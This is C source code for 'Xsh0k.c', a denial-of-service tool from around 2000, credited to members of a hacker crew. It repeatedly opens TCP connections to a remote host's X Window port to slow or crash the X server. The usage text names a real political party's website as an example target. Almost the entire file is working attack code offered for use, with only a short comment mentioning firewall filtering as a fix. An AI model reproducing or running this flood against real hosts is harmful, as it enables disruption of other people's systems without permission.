/* 2/5/00 1.0 Xsh0k.c by n0rby -- NeURaL CoLLaPsE CrEw. main code by AcidCrash -- NeURaL CoLLaPsE CrEw. This dos simply creates a sequence of socket connections to Xwindow port of a remote server. This cause a very disturbing effect to the XWindow user. There are many and various effects: frequently Xwindow slows so much that it's quite impossible to start new X programs; sometimes Xwindow don't recognizes some keys or mouse input, and, more rarely it crash and leave the user to the bash. A good metod to patch this vulnerability is to use a firewall to filter Xwindow ports. Therefore if you attack a filtered box with this dos, there there will be no effect. This dos was created to test Xwindow stability on *nix machines. It's coded for the flat line project and the NeURaL CoLLaPsE CrEw -- www.ncl.cjb.net acidcrash@ncl.cjb.net norby@ncl.cjb.net */ #include #include #include #include #include #include struct sockaddr_in addr; char host[99+1]; struct hostent *hp; int a,b,c,d; int port; int err; int sock_stat; /* Main ^__^ */ int main(int argc, char *argv[]) { if (argc > 3 || argc == 1) { printf("\n\033[1;32m Xsh0k.c \033[0m>> by \033[32m\\\033[0m\033[1;32mn0rby\033[0m\033[32m\\\033[0m"); printf("\n >> main code by \033[32mA\033[0m\033[1;32mcid\033[0m\033[32mC\033[0m\033[1;32mrash\n"); printf("\n\033[1;32musage:\033[0m %s <\033[1;32mhost\033[0m> [\033[1;32mdisplay\033[0m]\n", argv[0]); printf("\n\033[1;32mexample to attack a XWindows on third display (port 6003):\n"); printf(" \033[0m%s \033[1;32mwww.forza-italia.it\033[0m 3", argv[0]); printf("\n\n[\033[1;32mdisplay\033[0m] = display to \033[1;32mfl\033[0m\033[32moo\033[0m\033[1;32md\033[0m. Default \033[1;32m:0\033[0m (port 6000)\n\n"); } else { /* networking */ if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) !=4) { hp = gethostbyname(argv[1]); /* error check */ if (hp == NULL) { perror("\nAn error is occurred in host resolving"); printf("Checking: errno=%d\n",errno); exit(0); } /* continue */ sprintf(host,"%d.%d.%d.%d",(unsigned char)hp->h_addr_list[0][0], (unsigned char)hp->h_addr_list[0][1], (unsigned char)hp->h_addr_list[0][2], (unsigned char)hp->h_addr_list[0][3]); } else { strncpy(host,argv[1],99); } /* setting display */ if (argc == 2) { port = 6000; } if (argc == 3) { port = (atoi(argv[2]) + 6000); } // Tnx to Torkemada 4 the help /* Banner flooding */ printf("\n\033[1;32m Xsh0k.c \033[0m>> by \033[32m\\\033[0m\033[1;32mn0rby\033[0m\033[32m\\\033[0m"); printf("\n >> main code by \033[32mA\033[0m\033[1;32mcid\033[0m\033[32mC\033[0m\033[1;32mrash\n"); printf("\nkilling \033[32mX\033[0m\033[1;32mwindows\033[0m on \033[1;32m%s\033[0m, ", argv[1]); if (argc == 2) { printf("display \033[1;32m:0\033[0m"); } else { printf("display \033[1;32m:%s\033[0m", argv[2]); } printf("\n\n\033[1;32m_\033[0m\033[32m_\033[0m\033[1;32m_\033[0m\033[32m_\033[0m\033[1;32m_\033[0m\033[32m_\033[0m"); printf("\033[1;32m_\033[0m\033[32m_\033[0m\033[1;32m_\033[0m\033[32m_\033[0m\033[1;32m_\033[0m\033[32m_\033[0m"); printf("\033[1;32mF\033[0m\033[32mL\033[1;32ma\033[0m\033[32mT"); // Flat printf(" \033[1;32mL\033[0m\033[32mi\033[1;32mN\033[0m\033[32me"); // Line /* flood cicle */ for(;;) { sock(); fflush(stdout); } } } /* socket opening... */ int sock() { sock_stat = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock_stat < 0) { perror("\nAn error is occurred in port opening"); printf("Checking: errno=%d\n",errno); exit(2); } addr.sin_family = PF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(host); err = connect(sock_stat, (struct sockaddr *) &addr, sizeof(addr)); if (err < 0) { printf("\033[1;32m H\033[0m\033[32ma\033[0m\033[1;32mS"); // has printf(" \033[0m\033[1;32mF\033[0m\033[32mo\033[0m\033[1;32mU\033[0m\033[32mn\033[0m\033[1;32mD"); // found printf(" \033[0m\033[1;32mA\033[0m\033[32mn \033[0m"); //an printf("\033[1;32mE\033[0m\033[32mr\033[0m\033[1;32mr\033[0m\033[32mo\033[0m\033[1;32mr\033[0m\033[32m.\033[0m\033[1;32m.\033[0m\033[32m.\n"); //err perror("\033[32m"); printf("\033[0m\n"); exit(0); } printf("\033[1;32m_\033[0m"); }
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